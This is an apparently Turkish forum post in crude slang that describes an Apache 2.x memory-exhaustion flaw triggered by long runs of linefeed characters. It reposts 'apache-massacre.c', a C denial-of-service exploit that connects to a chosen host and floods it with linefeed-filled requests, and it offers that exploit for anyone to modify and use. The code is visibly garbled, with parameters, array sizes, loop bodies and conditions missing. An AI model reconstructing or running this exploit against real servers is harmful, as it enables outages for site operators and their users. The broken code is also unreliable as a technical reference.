evett ilk konu ve ilk harekat valla uzun zaman oldu yazmılyalı, Yani bir siteye. neyse bu konular eskide kaldı. Ve ilk konu apache linefeed: linefeed olay nedir abicim bu linefeed bir karakter derleyici apache sunucularında bu karakterleri kullanarak gnderilen mesajlar vasıtasıyla veri taşırmak, mına koymak, olay bundan ibaret. birde ben bunu klişe kelimeler kullanarak anlatim. HTTP sunucusunun peşpeşe gelen çok sayıda linefeed karakterlerini düzgün işleyememesinden kaynaklanıyor. Web sunucusu her linefeed karakteri için bir üst sınır belirlemeden 8-byte"lık arabellek ayırıyor. Bunun sonucunda uzaktaki bir kullanıcı bu karakterleri içeren pek çok istek yaratarak sistem kaynaklarını tüketebiliyor. ahada size patron yazısı... bu yazı sitili sistem mühendirlerinin yazı sitili :))) Kaynak securityforce, tlsecurity Kolay Gelsin / apache-massacre. c Test code for Apache 2. x Memory Leak By by ByberX lütfen evinizde denemeyiniz :pp Ha bu arada kimse açıklama istemesin azmıyom kendi kendine yapıver işte zeten gerek yok baksana cin gibisin... / #ifndef _WIN32 #include <netdb. h> #include <sys/types. h> #include <sys/socket. h> #include <sys/wait. h> #include <sys/stat. h> #include <sys/time. h> #include <netinet/in. h> #include <fcntl. h> #else #include <windows. h> #pragma comment(lib, "wsock32. lib") #endif #include <stdlib. h> #include <stdio. h> int sig_fired = 0; #ifndef _WIN32 void sig_handler { #else BOOL WINAPI sig_handler int main { SOCKET s; struct sockaddr_in sin; char buffer ; struct hostent he; unsigned short iPort = 80; int newlines = 100; char p; char p2; int i; #ifdef _WIN32 WSADATA wsa_prov; #endif printf("Apache morg vbir.0\r\n"); printf ; #ifdef _WIN32 if (WSAStartup(0x0101, &wsa_prov)) #endif printf ; fgets(&buffer , 1024, stdin); he = gethostbyname(&buffer ); if sin. sin_addr. s_addr = he->h_addr); printf ; fgets(&buffer , 1024, stdin); iPort = atoi(&buffer ); #ifndef _WIN32 #ifdef _SOLARIS sigset ; #else signal ; #endif #else SetConsoleCtrlHandler ; #endif printf("Evet Oluyor... : "); fgets(&buffer , 1024, stdin); if (! buffer 0x0D && ! buffer 0x0A) p = malloc(newlines 2); p2 = p; for (i = 0; i < newlines; i++) newlines += newlines; s = socket ; if (s < 0) sin. sin_family = AF_INET; sin. sin_port = htons ; if (connect(s, &sin, sizeof while (1) { if (! send(s, p, newlines, 0) newlines) if } } Bu Code ler tamamiyle halka açıktır istediğiniz gibi değiştire bilirsiniz valla... Bu işlerince işler Gelişler gidişler Hep Genişler...